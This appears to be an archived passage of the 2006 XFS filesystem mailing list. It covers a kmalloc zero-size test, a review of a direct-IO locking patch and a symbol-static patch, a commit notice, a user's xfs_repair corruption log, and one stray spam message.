ECARTIS (v1.0.0; list xfs); Sun, 15 Oct 2006 07:03:36 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9FE3QaG020951 for ; Sun, 15 Oct 2006 07:03:29 -0700 X-ASG-Debug-ID: 1160920963-11479-53-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from sandeen.net (sandeen.net [209.173.210.139]) by cuda.sgi.com (Spam Firewall) with ESMTP id AC117D1343F7 for ; Sun, 15 Oct 2006 07:02:43 -0700 (PDT) Received: from [10.0.0.4] (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTP id 439DE1809E77A; Sun, 15 Oct 2006 09:02:40 -0500 (CDT) Message-ID: <45323F7F.80807@sandeen.net> Date: Sun, 15 Oct 2006 09:02:39 -0500 From: Eric Sandeen User-Agent: Thunderbird 1.5.0.7 (Macintosh/20060909) MIME-Version: 1.0 To: chatz@melbourne.sgi.com CC: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: corrupted log causes infinite loop at mount Subject: Re: corrupted log causes infinite loop at mount References: <452FECFE.5050902@sandeen.net> <4531CC5D.5010705@melbourne.sgi.com> In-Reply-To: <4531CC5D.5010705@melbourne.sgi.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23325 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9296 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: sandeen@sandeen.net Precedence: bulk X-list: xfs Status: O David Chatterton wrote: > I assume the loop is further up the chain since kmem_alloc should return NULL > when asked to alloc 0. So then the problem also lies further up the chain in > checking for a 0 length before calling down, and/or not assuming we are out of > memory when xfs_buf_get_noaddr fails. Well, I set kdb breakpoints, and we only entered xfs_buf_get_noaddr once, so I assume it's looping inside. But I was looking for bugs on, um, another filesystem at the time, so didn't investigate much. I can put it on my list of spare-time bugs to look at, or just thought you guys may be interested as well. -Eric p.s. ok can't help but look just a bit further... a test module which does: int __init test_init(void) { void *data; int size = 0; data = kmalloc(size, GFP_KERNEL); if (data == NULL) { printk("got NULL for alloc return\n"); return -1; } else { printk("allocated %d bytes at %p\n", size, data); return 0; } } yields: allocated 0 bytes at ffff810029d88480 not NULL... nifty eh! -Eric From owner-xfs@oss.sgi.com Sun Oct 15 13:07:59 2006 Received: with ECARTIS (v1.0.0; list xfs); Sun, 15 Oct 2006 13:08:20 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9FK7vaG015403; Sun, 15 Oct 2006 13:07:58 -0700 X-ASG-Debug-ID: 1160938952-12650-551-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from beer.com (unknown [88.103.26.116]) by cuda.sgi.com (Spam Firewall) with SMTP id 467614A92DF; Sun, 15 Oct 2006 12:02:34 -0700 (PDT) Message-ID: <1A1FE43A.86B15D5@beer.com> Date: Sun, 15 Oct 2006 23:49:49 +0400 Reply-To: "Joel Johnson" From: "Joel Johnson" User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.7) Gecko/20011221 MIME-Version: 1.0 To: X-ASG-Orig-Subj: FW: Hey our boss got fired? Subject: FW: Hey our boss got fired? Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 8bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23339 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9297 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: katsuyukixiv@beer.com Precedence: bulk X-list: xfs Status: O , Learn how to generate 1.5 - 3.5k a day from home. 800.301.3784 Contact me at my number if you can return phone calls. Goodbye, Joel Johnson From owner-xfs@oss.sgi.com Sun Oct 15 14:58:21 2006 Received: with ECARTIS (v1.0.0; list xfs); Sun, 15 Oct 2006 14:58:30 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9FLwGaG029551 for ; Sun, 15 Oct 2006 14:58:19 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id HAA20513; Mon, 16 Oct 2006 07:57:25 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k9FLvM7Y8482043; Mon, 16 Oct 2006 07:57:23 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k9FLvJDj8482194; Mon, 16 Oct 2006 07:57:19 +1000 (AEST) Date: Mon, 16 Oct 2006 07:57:19 +1000 From: David Chinner To: Russell Cattelan Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH] Remove DIO_OWN_LOCKING Message-ID: <20061015215719.GL19345@melbourne.sgi.com> References: <1160700998.5723.65.camel@xenon.msp.redhat.com> <20061013024830.GF11034@melbourne.sgi.com> <1160762973.5723.81.camel@xenon.msp.redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1160762973.5723.81.camel@xenon.msp.redhat.com> User-Agent: Mutt/1.4.2.1i X-archive-position: 9298 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O On Fri, Oct 13, 2006 at 01:09:33PM -0500, Russell Cattelan wrote: > On Fri, 2006-10-13 at 12:48 +1000, David Chinner wrote: > > On Thu, Oct 12, 2006 at 07:56:38PM -0500, Russell Cattelan wrote: > > > While trying to fix up GFS2 directio and reading through the code > > > involving the various lock flags I discovered the DIO_OWN_LOCKING > > > flag is no longer used. > > > > > > XFS recently changed it xfs_vm_direct_IO function to call > > > blockdev_direct_IO_no_locking for reads and > > > blockdev_direct_IO_own_locking > > > for writes. But DIO_OWN_LOCKING is only used in the direct IO read case > > > so effectively the flag is never checked an therefore can probably be > > > removed. > > > > NACK. > > > > This breaks XFS direct writes - the DIO_OWN_LOCKING flag has meaning > > for direct writes even though a simple grep doesn't give you any > > hits. get_more_blocks() sets the create flag unconditionally on > > writes when DIO_OWN_LOCKING is set, and this is needed for XFS to be > > able to allocate underlying blocks if the direct write is over a > > hole or past EOF. > > Arrghh you are correct! > Even more reason to clean this logic up. No argument here ;) > look this version over and see what you think. > > comments not in final state but is describing what > is being changed an why. > > Basically the idea is to have separate flags for locking > and creation, overloading the flags meant that they were > specific for XFS needs and therefore did not work for > GFS. *nod* That was always going to happen as soon as another filesystem wanted to use it's own locking and had different create semantics... > Also go to a TRUE state if flag on and a FALSE state if flag off. > vs the mix of true flag (DIO_LOCKING) vs false flag > (DIO_NO_LOCKING) Looks like a good approach to me - it's cleaner and more extensible that what we have now.... Cheers, Dave. -- Dave Chinner Principal Engineer SGI Australian Software Group From owner-xfs@oss.sgi.com Mon Oct 16 00:08:29 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 16 Oct 2006 00:08:39 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9G78OaG013184 for ; Mon, 16 Oct 2006 00:08:28 -0700 Received: from chook.melbourne.sgi.com (chook.melbourne.sgi.com [134.14.54.237]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id RAA00786; Mon, 16 Oct 2006 17:07:36 +1000 Received: by chook.melbourne.sgi.com (Postfix, from userid 1116) id 6794258F5C17; Mon, 16 Oct 2006 17:07:36 +1000 (EST) To: sgi.bugs.xfs@engr.sgi.com, xfs@oss.sgi.com Subject: TAKE 956964 - FC6 kernels are oopsing when lockdep & memory debugging are turned on Message-Id: <20061016070736.6794258F5C17@chook.melbourne.sgi.com> Date: Mon, 16 Oct 2006 17:07:36 +1000 (EST) From: tes@sgi.com (Tim Shimmin) X-archive-position: 9299 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: tes@sgi.com Precedence: bulk X-list: xfs Status: O Keep lockdep happy. As suggested by Eric Sandeen. (Build and tested in QA) --Tim Date: Mon Oct 16 17:03:17 AEST 2006 Workarea: chook.melbourne.sgi.com:/build/tes/2.6.x-xfs Inspected by: sandeen@sandeen.net,dgc@sgi.com The following file(s) were checked into: longdrop.melbourne.sgi.com:/isms/linux/2.6.x-xfs-melb Modid: xfs-linux-melb:xfs-kern:27200a fs/xfs/xfs_iget.c - 1.222 - changed http://oss.sgi.com/cgi-bin/cvsweb.cgi/xfs-linux/xfs_iget.c.diff?r1=text&tr1=1.222&r2=text&tr2=1.221&f=h - Keep lockdep happy. From owner-xfs@oss.sgi.com Mon Oct 16 02:13:50 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 16 Oct 2006 02:13:59 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9G9DhaG004806 for ; Mon, 16 Oct 2006 02:13:48 -0700 Received: from boing.melbourne.sgi.com (boing.melbourne.sgi.com [134.14.55.141]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id TAA03130; Mon, 16 Oct 2006 19:12:54 +1000 Date: Mon, 16 Oct 2006 19:12:51 +1000 From: Timothy Shimmin To: sandeen@sandeen.net, xfs@oss.sgi.com Subject: Re: [PATCH 1/2] Make stuff static Message-ID: <23F15D6AE8566A54B81188AC@timothy-shimmins-power-mac-g5.local> In-Reply-To: <20060929032856.8DA9C18001A5E@sandeen.net> References: <20060929032856.8DA9C18001A5E@sandeen.net> X-Mailer: Mulberry/4.0.6 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-archive-position: 9300 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: tes@sgi.com Precedence: bulk X-list: xfs Status: O Okay, started looking :-) Some comments below... --Tim --On 28 September 2006 10:28:56 PM -0500 sandeen@sandeen.net wrote: > Make things static which can be. > > linux-2.4/xfs_vfs.c | 2 - > linux-2.4/xfs_vfs.h | 1 > linux-2.4/xfs_vnode.c | 2 - > linux-2.6/xfs_vfs.c | 2 - > linux-2.6/xfs_vfs.h | 1 > linux-2.6/xfs_vnode.c | 2 - > quota/xfs_dquot.c | 2 - > quota/xfs_qm_bhv.c | 2 - > xfs_attr.c | 3 +- > xfs_attr.h | 4 --- > xfs_bmap.c | 5 +--- > xfs_bmap_btree.c | 52 ++++++++++++++++++++++++++------------------------ > xfs_bmap_btree.h | 10 --------- > xfs_btree.c | 4 ++- > xfs_btree.h | 12 +---------- > xfs_dir2.h | 4 --- > xfs_dir2_data.h | 2 - > xfs_dir2_node.h | 2 - > xfs_inode.c | 49 ++++++++++++++++++++++++++++++----------------- > xfs_inode.h | 29 +-------------------------- > xfs_log_priv.h | 7 ------ > xfs_log_recover.c | 10 ++++----- > xfs_mount.h | 2 - > xfs_quota.h | 2 - > xfs_trans_buf.c | 2 - > 25 files changed, 84 insertions(+), 129 deletions(-) > > Signed-off-by: Eric Sandeen > > Index: xfs-linux/linux-2.4/xfs_vnode.c > =================================================================== > --- xfs-linux.orig/linux-2.4/xfs_vnode.c > +++ xfs-linux/linux-2.4/xfs_vnode.c > @@ -17,7 +17,7 @@ > #include "xfs.h" > > uint64_t vn_generation; /* vnode generation number */ > -spinlock_t vnumber_lock = SPIN_LOCK_UNLOCKED; > +static spinlock_t vnumber_lock = SPIN_LOCK_UNLOCKED; > Not STATIC? Curious. > /* > * Dedicated vnode inactive/reclaim sync semaphores. > Index: xfs-linux/linux-2.6/xfs_vnode.c > =================================================================== > --- xfs-linux.orig/linux-2.6/xfs_vnode.c > +++ xfs-linux/linux-2.6/xfs_vnode.c > @@ -18,7 +18,7 @@ > #include "xfs.h" > > uint64_t vn_generation; /* vnode generation number */ > -DEFINE_SPINLOCK(vnumber_lock); > +static DEFINE_SPINLOCK(vnumber_lock); > Not STATIC? > /* > * Dedicated vnode inactive/reclaim sync semaphores. > Index: xfs-linux/xfs_inode.c > =================================================================== > --- xfs-linux.orig/xfs_inode.c > +++ xfs-linux/xfs_inode.c > @@ -65,7 +65,22 @@ STATIC int xfs_iflush_int(xfs_inode_t *, > STATIC int xfs_iformat_local(xfs_inode_t *, xfs_dinode_t *, int, int); > STATIC int xfs_iformat_extents(xfs_inode_t *, xfs_dinode_t *, int); > STATIC int xfs_iformat_btree(xfs_inode_t *, xfs_dinode_t *, int); > - > +STATIC void xfs_iext_add_indirect_multi(xfs_ifork_t *, int, xfs_extnum_t, int); > +STATIC void xfs_iext_remove_inline(xfs_ifork_t *, xfs_extnum_t, int); > +STATIC void xfs_iext_remove_direct(xfs_ifork_t *, xfs_extnum_t, int); > +STATIC void xfs_iext_remove_indirect(xfs_ifork_t *, xfs_extnum_t, int); > +STATIC void xfs_iext_inline_to_direct(xfs_ifork_t *, int); > +STATIC void xfs_iext_realloc_direct(xfs_ifork_t *, int); > +STATIC void xfs_iext_realloc_indirect(xfs_ifork_t *, int); > +STATIC void xfs_iext_direct_to_inline(xfs_ifork_t *, xfs_extnum_t); > +STATIC void xfs_iext_irec_init(xfs_ifork_t *); > +STATIC void xfs_iext_irec_remove(xfs_ifork_t *, int); > +STATIC void xfs_iext_irec_compact(xfs_ifork_t *); > +STATIC void xfs_iext_irec_compact_pages(xfs_ifork_t *); > +STATIC void xfs_iext_irec_compact_full(xfs_ifork_t *); > +STATIC void xfs_iext_irec_update_extoffs(xfs_ifork_t *, int, int); > +STATIC xfs_ext_irec_t *xfs_iext_bno_to_irec(xfs_ifork_t *, xfs_fileoff_t, int *); > +STATIC xfs_ext_irec_t *xfs_iext_irec_new(xfs_ifork_t *, int); > Yeah, they all the xfs_iext_* seem to be local. see below... > #ifdef DEBUG > /* > @@ -105,7 +120,7 @@ xfs_validate_extents( > * unlinked field of 0. > */ > #if defined(DEBUG) > -void > +STATIC void > xfs_inobp_check( Yep. > xfs_mount_t *mp, > xfs_buf_t *bp) > @@ -1268,7 +1283,7 @@ xfs_ialloc( > * at least do it for regular files. > */ > #ifdef DEBUG > -void > +STATIC void > xfs_isize_check( Yep. > xfs_mount_t *mp, > xfs_inode_t *ip, > @@ -3621,7 +3636,7 @@ xfs_iaccess( > /* > * xfs_iroundup: round up argument to next power of two > */ > -uint > +STATIC uint > xfs_iroundup( Yep. > uint v) > { > @@ -3834,7 +3849,7 @@ xfs_iext_add( > * | count | | nex2 | nex2 - number of extents after idx + count > * |-------| |-------| > */ > -void > +STATIC void > xfs_iext_add_indirect_multi( Yep for all xfs_iext_ funcs. Well actually it looks like xfs_bmap.c uses these: -------------------- xfs_iext_add xfs_iext_bno_to_ext xfs_iext_get_ext xfs_iext_insert xfs_iext_remove --------------------- So I'm not sure why some are still here... xfs_iext_destroy xfs_iext_idx_to_irec xfs_iext_realloc (only exists in header???) --Tim From owner-xfs@oss.sgi.com Mon Oct 16 02:34:42 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 16 Oct 2006 02:34:47 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9G9YfaG007449 for ; Mon, 16 Oct 2006 02:34:41 -0700 X-ASG-Debug-ID: 1160987206-15482-120-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from home.jason.bur.st (ppp77-57.lns1.mel3.internode.on.net [59.167.77.57]) by cuda.sgi.com (Spam Firewall) with ESMTP id 44F344AC5A8 for ; Mon, 16 Oct 2006 01:26:47 -0700 (PDT) Received: by home.jason.bur.st (Postfix, from userid 1000) id C08BE7801C8E; Mon, 16 Oct 2006 18:25:32 +1000 (EST) Date: Mon, 16 Oct 2006 18:25:32 +1000 From: Jason White To: xfs@oss.sgi.com X-ASG-Orig-Subj: FS corruption and repair problem Subject: FS corruption and repair problem Message-ID: <20061016082532.GA5574@jdc> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="9amGYk9869ThD9tj" Content-Disposition: inline User-Agent: mutt-ng/devel-r774 (Debian) X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23381 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9301 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: jasonjgw@internode.on.net Precedence: bulk X-list: xfs Status: O --9amGYk9869ThD9tj Content-Type: text/plain; charset=us-ascii Content-Disposition: inline This is my desktop system, running kernel 2.6.17.11. Kernel 2.6.17 was previously installed, but I upgraded several weeks ago after I found out about the corruption bug in 2.6.17, which may or may not be related to the following. The file system was shut down during a Debian package upgrade while trying to access apt-related files. I booted into an old 2.4 kernel on a separate partition and ran an old version of xfs_repair. The output is attached. Xfs_repair terminated abnormally (see the end of the output). I can copy a newer version of xfs_repair to the backup partition if that would help, though I'm not sure which libraries to copy along with it. Also, if there is any indication of what might have caused this I would be interested, as this hasn't happened before and I'de especially like to find out whether it is a hardware problem, or related to the current kernel, or indeed a manifestation of the 2.6.17 bug. I've successfully mounted the corrupted file system and a lot of it is still relatively intact - plenty of files in lost+found, especially from the /usr/share/man3 directory for obvious reasons. It's a straightforward desktop machine with an IDE drive. I haven't updated Debian packages on here for a while, so it isn't clear when the corruption happened. --9amGYk9869ThD9tj Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename=repair jw:/home/jason# xfs_repair /dev/hda5 Phase 1 - find and verify superblock... Phase 2 - using internal log - zero log... - scan filesystem freespace and inode maps... - found root inode chunk Phase 3 - for each AG... - scan and clear agi unlinked lists... - process known inodes and perform inode discovery... - agno = 0 - agno = 1 - agno = 2 - agno = 3 - agno = 4 - agno = 5 - agno = 6 - agno = 7 - agno = 8 - agno = 9 - agno = 10 - agno = 11 - agno = 12 - agno = 13 - agno = 14 - agno = 15 - agno = 16 - agno = 17 - agno = 18 corrupt block 0 in directory inode 75501223 will junk block no . entry for directory 75501223 no .. entry for directory 75501223 bad magic number 0x1362 on inode 75528256 bad version number 0x33 on inode 75528256 bad inode format in inode 75528256 bad magic number 0x1362 on inode 75528256, resetting magic number bad version number 0x33 on inode 75528256, resetting version number bad inode format in inode 75528256 cleared inode 75528256 - agno = 19 - agno = 20 - agno = 21 - agno = 22 - agno = 23 - agno = 24 - agno = 25 - agno = 26 - agno = 27 - agno = 28 - agno = 29 - agno = 30 - process newly discovered inodes... Phase 4 - check for duplicate blocks... - setting up duplicate extent list... - clear lost+found (if it exists) ... - clearing existing "lost+found" inode - marking entry "lost+found" to be deleted - check for inodes claiming duplicate blocks... - agno = 0 - agno = 1 - agno = 2 - agno = 3 - agno = 4 - agno = 5 - agno = 6 - agno = 7 - agno = 8 - agno = 9 - agno = 10 - agno = 11 - agno = 12 - agno = 13 - agno = 14 - agno = 15 - agno = 16 - agno = 17 - agno = 18 corrupt block 0 in directory inode 75501223 will junk block no . entry for directory 75501223 no .. entry for directory 75501223 entry "cabinfo" in shortform directory 75528250 references free inode 75528256 junking entry "cabinfo" in directory inode 75528250 - agno = 19 - agno = 20 - agno = 21 - agno = 22 - agno = 23 - agno = 24 - agno = 25 - agno = 26 - agno = 27 - agno = 28 - agno = 29 - agno = 30 Phase 5 - rebuild AG headers and trees... - reset superblock... Phase 6 - check inode connectivity... - resetting contents of realtime bitmap and summary inodes - ensuring existence of lost+found directory - traversing filesystem starting at / ... rebuilding directory inode 128 free block 16777216 for directory inode 75555671 bad nused rebuilding directory inode 75555671 free block 16777216 for directory inode 46172285 bad nused rebuilding directory inode 46172285 free block 16777216 for directory inode 29690737 bad nused rebuilding directory inode 29690737 free block 16777216 for directory inode 96485213 bad nused rebuilding directory inode 96485213 free block 16777216 for directory inode 50930667 bad nused rebuilding directory inode 50930667 free block 16777216 for directory inode 67109183 bad nused rebuilding directory inode 67109183 free block 16777216 for directory inode 46458573 bad nused rebuilding directory inode 46458573 entry "man3" in directory inode 62936853 not consistent with .. value (18446744073709551615) in ino 75501223, will clear entry "man3" rebuilding directory inode 62936853 free block 16777216 for directory inode 71308695 bad nused rebuilding directory inode 71308695 free block 16777216 for directory inode 67134600 bad nused rebuilding directory inode 67134600 free block 16777216 for directory inode 113257373 bad nused rebuilding directory inode 113257373 free block 16777216 for directory inode 34419700 bad nused rebuilding directory inode 34419700 free block 16777216 for directory inode 96469270 bad nused rebuilding directory inode 96469270 free block 16777216 for directory inode 83886208 bad nused rebuilding directory inode 83886208 - traversal finished ... - traversing all unattached subtrees ... corrupt block 0 in directory inode 75501223: junking block rebuilding directory inode 75501223 creating missing "." entry in dir ino 75501223 - traversals finished ... - moving disconnected inodes to lost+found ... disconnected inode 12589404, moving to lost+found disconnected inode 12591780, moving to lost+found disconnected inode 12629480, moving to lost+found disconnected inode 12646097, moving to lost+found disconnected inode 12654206, moving to lost+found disconnected inode 12654359, moving to lost+found disconnected inode 12894519, moving to lost+found disconnected inode 12894520, moving to lost+found disconnected inode 12895231, moving to lost+found disconnected inode 16777353, moving to lost+found disconnected inode 16778367, moving to lost+found disconnected inode 33608565, moving to lost+found disconnected inode 37761455, moving to lost+found disconnected inode 37776070, moving to lost+found disconnected inode 46277904, moving to lost+found disconnected inode 75497741, moving to lost+found disconnected dir inode 75501223, moving to lost+found disconnected inode 75501249, moving to lost+found disconnected inode 75501510, moving to lost+found disconnected inode 75510902, moving to lost+found disconnected inode 75520655, moving to lost+found disconnected inode 75520656, moving to lost+found disconnected inode 75521710, moving to lost+found disconnected inode 75528257, moving to lost+found disconnected inode 75528268, moving to lost+found disconnected inode 75533032, moving to lost+found disconnected inode 75533049, moving to lost+found disconnected inode 75533053, moving to lost+found disconnected inode 75534873, moving to lost+found disconnected inode 75541216, moving to lost+found disconnected inode 75549879, moving to lost+found disconnected inode 75560335, moving to lost+found disconnected inode 75616906, moving to lost+found disconnected inode 75616909, moving to lost+found disconnected inode 75616910, moving to lost+found disconnected inode 75616911, moving to lost+found disconnected inode 75616912, moving to lost+found disconnected inode 75616914, moving to lost+found disconnected inode 75616917, moving to lost+found disconnected inode 75616918, moving to lost+found disconnected inode 75616919, moving to lost+found disconnected inode 75616920, moving to lost+found disconnected inode 75616921, moving to lost+found disconnected inode 75616922, moving to lost+found disconnected inode 75616923, moving to lost+found disconnected inode 75616924, moving to lost+found disconnected inode 75616927, moving to lost+found disconnected inode 75619840, moving to lost+found disconnected inode 75619854, moving to lost+found disconnected inode 75619856, moving to lost+found disconnected inode 75619858, moving to lost+found disconnected inode 75619860, moving to lost+found disconnected inode 75619862, moving to lost+found disconnected inode 75619874, moving to lost+found disconnected inode 75619876, moving to lost+found disconnected inode 75619880, moving to lost+found disconnected inode 75619882, moving to lost+found disconnected inode 75619884, moving to lost+found disconnected inode 75619892, moving to lost+found disconnected inode 75619896, moving to lost+found disconnected inode 75619898, moving to lost+found disconnected inode 75619902, moving to lost+found disconnected inode 75620194, moving to lost+found disconnected inode 75620206, moving to lost+found disconnected inode 75620208, moving to lost+found disconnected inode 75633584, moving to lost+found disconnected inode 75633587, moving to lost+found disconnected inode 75633597, moving to lost+found disconnected inode 75633601, moving to lost+found disconnected inode 75633602, moving to lost+found disconnected inode 75633608, moving to lost+found disconnected inode 75633616, moving to lost+found disconnected inode 75633621, moving to lost+found disconnected inode 75633625, moving to lost+found disconnected inode 75633627, moving to lost+found disconnected inode 75633629, moving to lost+found disconnected inode 75636070, moving to lost+found disconnected inode 75636091, moving to lost+found disconnected inode 75636251, moving to lost+found disconnected inode 75636253, moving to lost+found disconnected inode 75636254, moving to lost+found disconnected inode 75636255, moving to lost+found disconnected inode 75637216, moving to lost+found disconnected inode 75638721, moving to lost+found disconnected inode 75638722, moving to lost+found disconnected inode 75638724, moving to lost+found disconnected inode 75638725, moving to lost+found disconnected inode 75638726, moving to lost+found disconnected inode 75638727, moving to lost+found disconnected inode 75638729, moving to lost+found disconnected inode 75638730, moving to lost+found disconnected inode 75638777, moving to lost+found disconnected inode 75638780, moving to lost+found disconnected inode 75638782, moving to lost+found disconnected inode 75638783, moving to lost+found disconnected inode 75641638, moving to lost+found disconnected inode 75641639, moving to lost+found disconnected inode 75641640, moving to lost+found disconnected inode 75641641, moving to lost+found disconnected inode 75641646, moving to lost+found disconnected inode 75641647, moving to lost+found disconnected inode 75641648, moving to lost+found disconnected inode 75641651, moving to lost+found disconnected inode 75641652, moving to lost+found disconnected inode 75641653, moving to lost+found disconnected inode 75641655, moving to lost+found disconnected inode 75641657, moving to lost+found disconnected inode 75641659, moving to lost+found disconnected inode 75641661, moving to lost+found disconnected inode 75641665, moving to lost+found disconnected inode 75641667, moving to lost+found disconnected inode 75641681, moving to lost+found disconnected inode 75641685, moving to lost+found disconnected inode 75641693, moving to lost+found disconnected inode 75647265, moving to lost+found disconnected inode 75647283, moving to lost+found disconnected inode 75647327, moving to lost+found disconnected inode 75648228, moving to lost+found disconnected inode 75648232, moving to lost+found disconnected inode 75648233, moving to lost+found disconnected inode 75649508, moving to lost+found disconnected inode 75649511, moving to lost+found disconnected inode 75649513, moving to lost+found disconnected inode 75649515, moving to lost+found disconnected inode 75649888, moving to lost+found disconnected inode 75655519, moving to lost+found disconnected inode 75658594, moving to lost+found disconnected inode 75658595, moving to lost+found disconnected inode 75658596, moving to lost+found disconnected inode 75658598, moving to lost+found disconnected inode 75658599, moving to lost+found disconnected inode 75658608, moving to lost+found disconnected inode 75658611, moving to lost+found disconnected inode 75658613, moving to lost+found disconnected inode 75658614, moving to lost+found disconnected inode 75658620, moving to lost+found disconnected inode 75658622, moving to lost+found disconnected inode 75658625, moving to lost+found disconnected inode 75658626, moving to lost+found disconnected inode 75658629, moving to lost+found disconnected inode 75658630, moving to lost+found disconnected inode 75658632, moving to lost+found disconnected inode 75658633, moving to lost+found disconnected inode 75658634, moving to lost+found disconnected inode 75658637, moving to lost+found disconnected inode 75658640, moving to lost+found disconnected inode 75658648, moving to lost+found disconnected inode 75659115, moving to lost+found disconnected inode 75659116, moving to lost+found disconnected inode 75659117, moving to lost+found disconnected inode 75659119, moving to lost+found disconnected inode 75683988, moving to lost+found disconnected inode 75683989, moving to lost+found disconnected inode 75683997, moving to lost+found disconnected inode 75684027, moving to lost+found disconnected inode 75689664, moving to lost+found disconnected inode 75689666, moving to lost+found disconnected inode 75689673, moving to lost+found disconnected inode 75689674, moving to lost+found disconnected inode 75689675, moving to lost+found disconnected inode 75689676, moving to lost+found disconnected inode 75689679, moving to lost+found disconnected inode 75689682, moving to lost+found disconnected inode 75689695, moving to lost+found disconnected inode 75689696, moving to lost+found disconnected inode 75689703, moving to lost+found disconnected inode 75689704, moving to lost+found disconnected inode 75689711, moving to lost+found disconnected inode 75689719, moving to lost+found disconnected inode 75689752, moving to lost+found disconnected inode 75689753, moving to lost+found disconnected inode 75689758, moving to lost+found disconnected inode 75689762, moving to lost+found disconnected inode 75689764, moving to lost+found disconnected inode 75689770, moving to lost+found disconnected inode 75689773, moving to lost+found disconnected inode 75689782, moving to lost+found disconnected inode 75689786, moving to lost+found disconnected inode 75689788, moving to lost+found disconnected inode 75689874, moving to lost+found disconnected inode 92336260, moving to lost+found Phase 7 - verify and correct link counts... Terminated jw:/home/jason# echo $? 143 --9amGYk9869ThD9tj-- From owner-xfs@oss.sgi.com Mon Oct 16 03:11:37 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 16 Oct 2006 03:11:43 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9GABaaG012831 for ; Mon, 16 Oct 2006 03:11:37 -0700 X-ASG-Debug-ID: 1160993452-6047-136-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from lucidpixels.com (lucidpixels.com [66.45.37.187]) by cuda.sgi.com (Spam Firewall) with ESMTP id ED1D74AECAB for ; Mon, 16 Oct 2006 03:10:52 -0700 (PDT) Received: by lucidpixels.com (Postfix, from userid 1001) id 0D4B0616D16C; Mon, 16 